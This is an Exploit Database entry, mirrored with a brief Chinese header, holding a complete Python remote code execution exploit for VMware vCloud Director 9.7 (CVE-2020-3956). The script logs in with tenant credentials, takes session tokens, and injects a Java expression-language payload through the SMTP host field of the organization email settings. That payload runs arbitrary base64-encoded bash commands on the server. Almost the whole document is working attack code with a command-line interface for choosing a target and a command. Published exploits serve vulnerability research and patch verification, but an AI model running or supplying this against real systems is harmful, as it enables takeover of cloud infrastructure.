vCloud Director 9.7.0.15498291 – Remote Code Execution

Exploit Database
120 阅读

作者： aaronsvk

日期： 2020-06-02
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/48540/

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#!/usr/bin/python

# Exploit Title: vCloud Director - Remote Code Execution

# Exploit Author: Tomas Melicher

# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/

# Date: 2020-05-24

# Vendor Homepage: https://www.vmware.com/

# Software Link: https://www.vmware.com/products/cloud-director.html

# Tested On: vCloud Director 9.7.0.15498291

# Vulnerability Description:

# VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.

import argparse # pip install argparse

import base64, os, re, requests, sys

if sys.version_info >= (3, 0):

from urllib.parse import urlparse

else:

from urlparse import urlparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"

session = requests.Session()

def login(url, username, password, verbose):

target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)

res = session.get(target_url)

match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)

if match:

tenant = match.group(1)

else:

print('[!] can\'t find tenant identifier')

return (None,None,None,None)

if verbose:

print('[*] tenant: %s'%(tenant))

match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)

if match: # Cloud Director 9.*

login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))

res = session.post(login_url, data={'username':username,'password':password})

if res.status_code == 401:

print('[!] invalid credentials')

return (None,None,None,None)

else: # Cloud Director 10.*

match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)

if match:

login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))

headers = {

'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),

'Accept': 'application/json;version=29.0',

'Content-type': 'application/json;version=29.0'

}

res = session.post(login_url, headers=headers)

if res.status_code == 401:

print('[!] invalid credentials')

return (None,None,None,None)

else:

print('[!] url for login form was not found')

return (None,None,None,None)

cookies = session.cookies.get_dict()

jwt = cookies['vcloud_jwt']

session_id = cookies['vcloud_session_id']

if verbose:

print('[*] jwt token: %s'%(jwt))

print('[*] session_id: %s'%(session_id))

res = session.get(target_url)

match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)

if match is None:

print('[!] organization not found')

return (None,None,None,None)

organization = match.group(1)

if verbose:

print('[*] organization name: %s'%(organization))

match = re.search(r'orgId : \'([^\']+)', res.content)

if match is None:

print('[!] orgId not found')

return (None,None,None,None)

org_id = match.group(1)

if verbose:

print('[*] organization identifier: %s'%(org_id))

return (jwt,session_id,organization,org_id)

def exploit(url, username, password, command, verbose):

(jwt,session_id,organization,org_id) = login(url, username, password, verbose)

if jwt is None:

return

headers = {

'Accept': 'application/*+xml;version=29.0',

'Authorization': 'Bearer %s'%jwt,

'x-vcloud-authorization': session_id

}

admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)

res = session.get(admin_url, headers=headers)

match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)

if match:

version = match.group(1)

if verbose:

print('[*] detected version of Cloud Director: %s'%(version))

else:

version = None

print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')

email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)

payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))

data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'

data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'

data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'

data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)

data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'

res = session.put(email_settings_url, data=data, headers=headers)

match = re.search(r'value:\s*\[([^\]]+)\]', res.content)

if verbose:

print('')

try:

print(base64.b64decode(match.group(1)))

except Exception:

print(res.content)

parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')

parser.add_argument('-v', action='store_true')

parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)

parser.add_argument('-u', metavar='username', required=True)

parser.add_argument('-p', metavar='password', required=True)

parser.add_argument('-c', metavar='command', help='command to execute', default='id')

args = parser.parse_args()

url = urlparse(args.t)

exploit(url, args.u, args.p, args.c, args.v)